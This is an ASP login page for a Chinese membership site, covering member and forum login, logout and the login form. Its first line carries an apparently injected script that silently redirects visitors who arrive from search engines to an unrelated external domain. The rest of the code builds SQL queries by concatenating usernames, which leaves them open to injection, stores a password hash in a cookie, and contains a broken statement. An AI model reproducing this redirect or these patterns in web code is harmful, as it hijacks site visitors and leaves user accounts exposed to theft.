d:\wwwroot\wuchunhua\login.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <!--#include file="admin/other/Check_Sql.asp" -->
003: <!--#include file="md5.asp"-->
004: <script language="javascript">
005: <!--  
006:   if (window == top)top.location.href = "index.asp";
007: // -->

008: </script>
009: <%
010: if request("login")="yes" then
011: uid=HtmlEncode(trim(request.form("hyname")))
012: pass=md5(HtmlEncode(trim(request.form("hypass"))))
013:    CheckCode=replace(trim(Request("CheckCode")),"'","")
014:     if CheckCode<>CStr(session("CheckCode"))  then
015:     Response.write"<script>alert(""验证码不正确,请刷新后重新登陆 "&Copyright&" "");location.href=""Login.asp"";</script>"
016:     Response.end
017:    end if
018: if uid="" or pass="" then
019:     response.write "<SCRIPT language=JavaScript>alert('请输入用户名和密码!');"
020:    response.write "this.location.href='javascript:history.back()';</SCRIPT>"
021:       response.end
022:    else
023: sql="select * from china_user where uid='"&uid&"'"
024: set rs=server.createobject("adodb.recordset")
025: rs.open sql,connstr,1,1
026: if not rs.eof then
027:    if pass=rs("pwd") then
028:      if rs("mark")="1" then
029:      session("china_uid")=uid
030:      rs.close
031:      Db = "bbs/DataBase/tcbbs7.asp"   '数据库路径
032: Connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath(db)
033: Set Conn1=Server.CreateObject("ADODB.Connection")
034: Conn1.open ConnStr
035:
036: Rs.Open "select top 1 * from [BBSXP_Users] where username='"&uid&"'",Conn1,1,1
037: if rs.bof and rs.eof then
038:     Response.write"<script>alert(""论坛登陆失败"&Copyright&" "");location.href=""Login.asp"";</script>"
039:     Response.end
040: else
041: DomainPath=Left(Request.ServerVariables("script_name"),inStrRev(Request.ServerVariables("script_name"),"/"))
042: Response.Cookies("UserID")=rs("id")
043: Response.Cookies("UserID").Path = DomainPath
044: Response.Cookies("UserPass")=Rs("Userpass")
045: Response.Cookies("UserPass").Path = DomainPath
046: end if
047: Rs.close
048: set rs=close
049: conn.close
050: conn1.close
051: set conn=nothing
052: set conn1=nothing  
053:      else
054:      response.write "<script>alert('对不起,本会员信息正在审核中,尚无此权限!');history.back();</script>"
055:      end if
056:    else
057:    response.write "<script>alert('密码错误,或是权限尚未开通,请确认!');history.back();</script>"
058:    end if
059: else
060: response.write "<script>alert('此用户不存在,请重新输入!');history.back();</script>"
061: end if
062: end if
063: end if
064: if request("login")="out" then
065: session("china_uid")=""
066: DomainPath=Left(Request.ServerVariables("script_name"),inStrRev(Request.ServerVariables("script_name"),"/"))
067: Response.Cookies("UserID")=""
068: Response.Cookies("UserID").Path = DomainPath
069: Response.Cookies("UserPass")=""
070: Response.Cookies("UserPass").Path = DomainPath
071: response.write "<script>alert('退出成功!');location.href=""Login.asp"";</script>"
072: end if
073:
074: %
>
075: <SCRIPT language=javascript>
076: function check_input()   {
077:       if (document.hylogin.hyname.value == '')   {
078:     alert("请输入用户名!");
079:       document.hylogin.hyname.focus();
080:     return false;
081:    }
082:       if (document.hylogin.hypass.value == '')   {
083:     alert("请输入密码!");
084:       document.hylogin.hypass.focus();
085:     return false;
086:    }
087:    if (document.hylogin.CheckCode.value == '')   {
088:     alert("请输入验证码!");
089:       document.hylogin.CheckCode.focus();
090:     return false;
091:    }
092:       return true;
093: }
094: //-->

095: </SCRIPT><style type="text/css">
096: <!--
097: body {
098:    margin-left: 0px;
099:    margin-top: 0px;
100:    margin-right: 0px;
101:    margin-bottom: 0px;
102: }
103: .style2 {   color: #FF6600;
104:    font-weight: bold;
105: }
106: -->

107: </style>
108: <%if session("china_uid")="" then%>
109:            <FORM name=hylogin onsubmit="return check_input();" action="?login=yes" method=post>
110:            <table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="F4F4F4">
111:                   <tr>
112:                     <td height="30"><p style="line-height: 150%"><span class="style2">会员登陆</span>&nbsp;用户名:
113:                       <INPUT name=hyname size=12 style="height:20px; font-size:11px" >                    
114:                       密&nbsp;&nbsp;码:
115:                       <input name=hypass type=password size=12 style="height:20px; font-size:11px" >
116:                       验证码:
117:                       <input name=CheckCode type=password id="CheckCode2" size=4 maxlength="4" style="height:20px; font-size:11px" >
118: &nbsp;<img src="admin/other/china_GetCode.asp">
119: <input type=image height=20 width=55 src="images/login.gif" border=0 name=B1>
120: &nbsp;<a  href="reg.asp" target="_blank"><img src="images/reg.gif" width="55" height="20" border="0"></a>&nbsp;</td>
121:                   </tr>
122:               </table>
123:            </form>
124:            <%else%>
125:               <table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="F4F4F4">
126:                   <tr>
127:                     <td width="75%" height="30"><div align="left"><strong><font color="#FF0000"><%=session("china_uid")%></font>&nbsp;欢迎您登陆本站!</strong> <a href="user.asp" target="_blank">会员中心</a>&nbsp;|<a href="hyfabu.asp" target="_blank"> 发布信息</a>&nbsp;| <a href="listad.asp" target="_blank">管理信息</a>&nbsp;|&nbsp;<a href="edituser.asp" target="_blank">用户资料</a>&nbsp;|<a href="zn_message.asp" target="_blank"> 站内短信</a>&nbsp;|<a href="message.asp" target="_blank"> 查看留言 </a><a href="#" target="_blank">| </a><a href="?login=out">退出</a></div></td>
128:               </tr></table><%end if%></td>
129:
130: